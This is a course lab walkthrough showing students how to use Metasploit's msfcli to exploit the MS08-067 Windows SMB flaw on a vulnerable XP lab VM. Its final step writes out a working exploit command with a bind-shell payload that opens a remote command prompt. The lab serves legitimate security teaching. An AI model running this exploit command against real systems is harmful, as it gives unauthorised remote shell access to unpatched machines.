(Metasploit:
MS08-067)
{ Using the MsfCli to
Grab A DOS Command Prompt }
0. Background
Information |
- What is MSfCli?
- Metasploit Command Line Interface allows
for exploits to be executed from the Unix and Windows command line
without the need to first launch the msfconsole.
- It is particularly useful when a large
number of systems need to be tested for the same vulnerability.
-
http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx
- The vulnerability could allow remote code
execution if an affected system received a specially crafted RPC
request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003
systems, an attacker could exploit this vulnerability without
authentication to run arbitrary code. It is possible that this
vulnerability could be used in the crafting of a wormable exploit.
- Firewall best practices and standard default firewall configurations can
help protect network resources from attacks that originate outside the
enterprise perimeter.
- Login to your
WindowsVulnerable VM, as username
instructor
- For those of you that are not part of this
class,
this is a Windows XP machines that is vulnerable to the MS08-067
Vulnerability.
- On WindowsVulnerable01, obtain the IP Address.
- START --> run --> cmd --> ifconfig
- In my case, WindowsVulnerable01's IP
Address 192.168.1.120.
- Login to your
Backtrack01 VM, as username root
- startx
- Issue the startx command if you are
currently are only seeing a console and not a graphical user interface.
2. Confirm
Backtrack01 has an IP Address |
- Fire up a console or terminal window
- System --> Konsole
- ifconfig
- Example: No IP Address for eth0
- If a valid IP address for eth0 is not
displayed please move onto step 3.
- Example: Valid IP Address for eth0
- vi /etc/network/interfaces
- Your file should look similar to the below
screen shot
- cd /etc/init.d/
- ./networking start
- Confirm you have a valid IP address for eth0
- In my case, eth0's IP address is
192.168.1.117.
3. Stop Firewall on
Backtrack01 |
- Start Firestarter
- System --> Firestarter
- Click on Stop Firewall
4. Starting up the
Metasploit MsfCli |
- Fire up the MsfCli (See Below)
- Note It might take a while to start.
-
- Once MsfCli Loads, you will a similar
screen (See Below)
5. Using MsfCli to
retrieve information about a particular exploit |
- Issue the below command (See Below)
- Command:
./msfcli windows/smb/ms08_067_netapi S
- Basically, you will what Operating Systems are
affected by the exploit, the required options, and a brief description (See Below)
6. Using MsfCli to
retrieve PAYLOAD information about a particular exploit
|
- Issue the below command (See Below)
- Command:
./msfcli windows/smb/ms08_067_netapi P
- You will see all the payloads that are
associated with windows/smb/ms08_067_netapi. (See Below)
7. Using MsfCli to
SHOW OPTIONS for the particular exploit |
- Issue the below command (See Below)
- Command:
./msfcli windows/smb/ms08_067_netapi PAYLOAD=windows/shell_bind_tcp
O
-
- You will see all the options for the particular
payload for exploit windows/smb/ms08_067_netapi. (See Below)
8. Executing Exploit
from MsfCli Command line |
- Issue the below command (See Below)
- ./msfcli windows/smb/ms08_067_netapi
PAYLOAD=windows/shell_bind_tcp RHOST=192.168.1.120 E
- "windows/smb/ms08_067_netapi" - is the
MS08-067 exploit.
- "windows/shell_bind_tcp" - is the
payload to provide a command line interface to Windows.
- "192.168.1.120" - is the IP Address of
WindowsVulnerable01. In your case, it will probably be
different.
-
- If exploit is successful, you will see the
below Windows Command Line Interface.
- From the Windows Command Line, issue both the
date and time command (See Below).
-
Proof of Lab: Issue and screen print, paste into a word
document, and upload to Moodle.
-
- Cut and Paste a screen shot that looks similar
to Step #3 in Section 8 into a word document
and upload to Moodle.
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